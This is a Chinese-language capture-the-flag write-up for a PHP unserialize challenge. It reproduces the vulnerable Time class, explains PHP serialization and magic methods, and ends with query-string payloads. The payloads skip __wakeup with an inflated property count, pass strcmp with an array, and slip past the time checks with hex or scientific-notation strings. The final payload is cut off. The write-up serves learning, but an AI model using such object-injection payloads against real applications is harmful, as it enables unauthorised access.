原题网址
代码语言:javascript复制<?php
class Time{
public $flag = xxxxx;
public $truepassword = xxxxx;
public $time;
public $password;
public function construct($tt, $pp) {
$this->time = $tt;
$this->password = $pp;
}
function __destruct(){
if(!empty($this->password)) {
if(strcmp($this->password,$this->truepassword)==0){
echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
if(!empty($this->time)){
if(!is_numeric($this->time)){
echo 'Sorry.<br>';
show_source(__FILE__);
}
else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
echo 'you need a bigger time.<br>';
}
else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
echo 'you need a smaller time.<br>';
}
else{
sleep((int)$this->time);
var_dump($this->flag);
}
echo '<hr>';
}
else{
echo '<h1>you have no time!!!!!</h1><br>';
}
}
else{
echo '<h1>Password is wrong............</h1><br>';
}
}
else{
echo "<h1>Please input password..........</h1><br>";
}
}
function __wakeup(){
echo 'hello hacker,I have changed your password and time, rua!';
}
}
if(isset($_GET['rua'])){
//$test = new Time(1.275523920, array("a"));
$rua = $_GET['rua'];
@unserialize($rua);
}
else{
echo "<h1>Please don't stop rua 233333</h1><br>";
}
稍稍记录一下,简单的反序列化。
何为序列化?
序列化对象 - 在会话中存放对象 ¶ 所有 php 里面的值都可以使用函数 serialize() 来返回一个包含字节流的字符串来表示。unserialize() 函数能够重新把字符串变回 php 原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()来实现。
序列化字符串格式:变量类型:变量长度:变量内容 例如序列化对象字符串:
变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}
PHP 中的魔术方法(Magic methods)
代码语言:javascript复制__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(),
__sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(),__debugInfo()
这里我们着重关注几个:
__construct()
:当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。__destruct()
:当对象被销毁时会自动调用。__sleep()
:serialize() 会检查类中是否存在一个魔术方法 __sleep()。若存在,该方法会先被调用,再执行序列化操作__wakeup()
:unserialize() 会检查是否存在一个 __wakeup() 方法。若存在,则先调用 __wakeup 方法,预先准备对象需要的资源。__toString()
:用于一个类被当成字符串时应怎样回应。例如echo $obj;
应该显示些什么。
PHP 有个 Bug,该漏洞可以概括为:
代码语言:javascript复制当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过 __wakeup 函数的执行
rua=O:4:"Time":3:{
注意上面的 3 ,是属性数量,本来2个就够了。
16进制 0x
开头在强制转换中出现问题,导致转换成0
payload 如下:
代码语言:javascript复制rua=O:4:"Time":4:{s:4:"time";s:10:"0x4c06f350";s:8:"password";a:2:{i:0;s:1:"a";i:1;s:1:"b";}}
还有一种办法:科学计数法绕过 sleep()
代码语言:javascript复制rua=O:4:"Time":3:{s:4:"time";s:5:"1.3e9";